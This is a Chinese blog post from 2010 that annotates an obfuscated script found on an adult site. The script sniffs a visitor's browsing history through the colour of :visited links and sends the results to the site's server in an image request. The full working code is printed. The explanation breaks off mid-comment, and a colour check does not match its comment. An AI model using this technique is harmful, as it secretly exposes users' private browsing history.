悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
JQuery.Ajax之错误调试帮助信息介绍
Jul 04 Javascript
jquery弹出框的用法示例(2)
Aug 26 Javascript
Node.js中的事件驱动编程详解
Aug 16 Javascript
javascript的switch用法注意事项分析
Feb 02 Javascript
Javascript之Math对象详解
Jun 07 Javascript
Javascript中常用的检测方法小结
Oct 08 Javascript
IScroll那些事_当内容不足时下拉刷新的解决方法
Jul 18 Javascript
jQuery实现滚动效果
Nov 17 jQuery
jQuery中$原理实例分析
Aug 13 jQuery
JavaScript实现省市联动效果
Nov 22 Javascript
vue实现购物车列表
Jun 30 Javascript
JS继承实现方法及优缺点详解
Sep 02 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
PHP 应用程序的安全 -- 不能违反的四条安全规则
2006/11/26 PHP
PHP中防止SQL注入实现代码
2011/02/19 PHP
PHP加密函数 Javascript/Js 解密函数
2013/09/23 PHP
PHP自带ZIP压缩、解压缩类ZipArchiv使用指南
2015/03/03 PHP
php array_pop 删除数组最后一个元素实例
2016/11/02 PHP
php上传后台无法收到数据解决方法
2019/10/28 PHP
JS控制图片翻转示例代码(兼容firefox,ie,chrome)
2013/12/19 Javascript
DOM基础教程之使用DOM控制表格
2015/01/20 Javascript
JavaScript函数作用域链分析
2015/02/13 Javascript
Angular2表单自定义验证器的实现
2016/10/19 Javascript
webpack常用配置项配置文件介绍
2016/11/07 Javascript
微信小程序 登陆流程详细介绍
2017/01/17 Javascript
Bootstrap4如何定制自己的颜色和风格
2018/02/26 Javascript
ionic grid(栅格)九宫格制作详解
2018/06/30 Javascript
vue使用v-for实现hover点击效果
2018/09/29 Javascript
Vue 报错TypeError: this.$set is not a function 的解决方法
2018/12/17 Javascript
[51:53]完美世界DOTA2联赛循环赛 LBZS vs DM BO2第二场 11.01
2020/11/02 DOTA
使用Python的Twisted框架编写简单的网络客户端
2015/04/16 Python
Django中针对基于类的视图添加csrf_exempt实例代码
2018/02/11 Python
flask框架视图函数用法示例
2018/07/19 Python
基于opencv实现简单画板功能
2020/08/02 Python
matplotlib之pyplot模块之标题(title()和suptitle())
2021/02/22 Python
CSS3实现3D翻书效果
2016/06/20 HTML / CSS
美国南加州的原创极限运动潮牌:Vans(范斯)
2016/08/05 全球购物
英国户外装备和冒险服装零售商:alloutdoor
2018/01/30 全球购物
华纳兄弟工作室的官方授权商店:WB Shop
2018/11/30 全球购物
Ever New美国:澳大利亚领先的女装时尚品牌
2019/11/28 全球购物
.NET程序员的几道面试题
2012/06/01 面试题
移动通信专业自荐信范文
2013/11/12 职场文书
优秀教师先进事迹
2014/01/22 职场文书
公司股份转让协议书范本
2015/01/28 职场文书
孔庙导游词
2015/02/04 职场文书
2015年客房服务员工作总结
2015/05/15 职场文书
小学运动会报道稿
2015/07/22 职场文书
Python离线安装openpyxl模块的步骤
2021/03/30 Python
python 实现德洛内三角剖分的操作
2021/04/22 Python